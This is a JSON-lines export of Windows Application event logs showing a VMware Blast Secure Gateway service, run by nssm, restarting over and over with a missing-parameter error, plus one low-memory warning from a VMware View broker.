{"@timestamp":1646697265665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158297}}
{"@timestamp":1646697265668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158298}}
{"@timestamp":1646697265668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154952","0"]}}},"module":"Application","provider":"nssm","sequence":158299}}
{"@timestamp":1646697265669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154952","154952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158300}}
{"@timestamp":1646697265685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158301}}
{"@timestamp":1646697265686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158302}}
{"@timestamp":1646697265686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158303}}
{"@timestamp":1646697265687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158304}}
{"@timestamp":1646697394174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158305}}
{"@timestamp":1646697394175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158306}}
{"@timestamp":1646697394177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155212","0"]}}},"module":"Application","provider":"nssm","sequence":158307}}
{"@timestamp":1646697394177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155212","155212","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158308}}
{"@timestamp":1646697394198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158309}}
{"@timestamp":1646697394198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158310}}
{"@timestamp":1646697394199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158311}}
{"@timestamp":1646697394200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158312}}
{"@timestamp":1646697522723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158313}}
{"@timestamp":1646697522724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158314}}
{"@timestamp":1646697522724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153800","0"]}}},"module":"Application","provider":"nssm","sequence":158315}}
{"@timestamp":1646697522726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153800","153800","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158316}}
{"@timestamp":1646697522743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158317}}
{"@timestamp":1646697522743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158318}}
{"@timestamp":1646697522744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158319}}
{"@timestamp":1646697522745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158320}}
{"@timestamp":1646697651228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158321}}
{"@timestamp":1646697651228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158322}}
{"@timestamp":1646697651229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146936","0"]}}},"module":"Application","provider":"nssm","sequence":158323}}
{"@timestamp":1646697651229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146936","146936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158324}}
{"@timestamp":1646697651245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158325}}
{"@timestamp":1646697651246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158326}}
{"@timestamp":1646697651247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158327}}
{"@timestamp":1646697651248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158328}}
{"@timestamp":1646697779763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158329}}
{"@timestamp":1646697779764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158330}}
{"@timestamp":1646697779765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153372","0"]}}},"module":"Application","provider":"nssm","sequence":158331}}
{"@timestamp":1646697779765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153372","153372","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158332}}
{"@timestamp":1646697779782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158333}}
{"@timestamp":1646697779782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158334}}
{"@timestamp":1646697779783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158335}}
{"@timestamp":1646697779783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158336}}
{"@timestamp":1646697908284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158337}}
{"@timestamp":1646697908285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158338}}
{"@timestamp":1646697908286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153884","0"]}}},"module":"Application","provider":"nssm","sequence":158339}}
{"@timestamp":1646697908286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153884","153884","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158340}}
{"@timestamp":1646697908302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158341}}
{"@timestamp":1646697908303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158342}}
{"@timestamp":1646697908303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158343}}
{"@timestamp":1646697908304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158344}}
{"@timestamp":1646698036816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158345}}
{"@timestamp":1646698036818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158346}}
{"@timestamp":1646698036819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154264","0"]}}},"module":"Application","provider":"nssm","sequence":158347}}
{"@timestamp":1646698036819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154264","154264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158348}}
{"@timestamp":1646698036834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158349}}
{"@timestamp":1646698036834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158350}}
{"@timestamp":1646698036835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158351}}
{"@timestamp":1646698036836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158352}}
{"@timestamp":1646698165344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158353}}
{"@timestamp":1646698165345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158354}}
{"@timestamp":1646698165346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155636","0"]}}},"module":"Application","provider":"nssm","sequence":158355}}
{"@timestamp":1646698165346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155636","155636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158356}}
{"@timestamp":1646698165362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158357}}
{"@timestamp":1646698165363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158358}}
{"@timestamp":1646698165363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158359}}
{"@timestamp":1646698165364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158360}}
{"@timestamp":1646698294089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158361}}
{"@timestamp":1646698294089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158362}}
{"@timestamp":1646698294090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150984","0"]}}},"module":"Application","provider":"nssm","sequence":158363}}
{"@timestamp":1646698294091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150984","150984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158364}}
{"@timestamp":1646698294108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158365}}
{"@timestamp":1646698294109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158366}}
{"@timestamp":1646698294109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158367}}
{"@timestamp":1646698294110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158368}}
{"@timestamp":1646698422803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158369}}
{"@timestamp":1646698422804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158370}}
{"@timestamp":1646698422805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154828","0"]}}},"module":"Application","provider":"nssm","sequence":158371}}
{"@timestamp":1646698422805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154828","154828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158372}}
{"@timestamp":1646698422826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158373}}
{"@timestamp":1646698422827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158374}}
{"@timestamp":1646698422828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158375}}
{"@timestamp":1646698422829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158376}}
{"@timestamp":1646698551412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158377}}
{"@timestamp":1646698551412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158378}}
{"@timestamp":1646698551414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155352","0"]}}},"module":"Application","provider":"nssm","sequence":158379}}
{"@timestamp":1646698551415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155352","155352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158380}}
{"@timestamp":1646698551432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158381}}
{"@timestamp":1646698551433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158382}}
{"@timestamp":1646698551433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158383}}
{"@timestamp":1646698551434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158384}}
{"@timestamp":1646698679928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158385}}
{"@timestamp":1646698679929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158386}}
{"@timestamp":1646698679930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151624","0"]}}},"module":"Application","provider":"nssm","sequence":158387}}
{"@timestamp":1646698679930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151624","151624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158388}}
{"@timestamp":1646698679947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158389}}
{"@timestamp":1646698679947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158390}}
{"@timestamp":1646698679948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158391}}
{"@timestamp":1646698679949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158392}}
{"@timestamp":1646698691377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 08 01:18:11 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":158393}}
{"@timestamp":1646698808455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158394}}
{"@timestamp":1646698808458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158395}}
{"@timestamp":1646698808459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155472","0"]}}},"module":"Application","provider":"nssm","sequence":158396}}
{"@timestamp":1646698808459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155472","155472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158397}}
{"@timestamp":1646698808477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158398}}
{"@timestamp":1646698808478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158399}}
{"@timestamp":1646698808478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158400}}
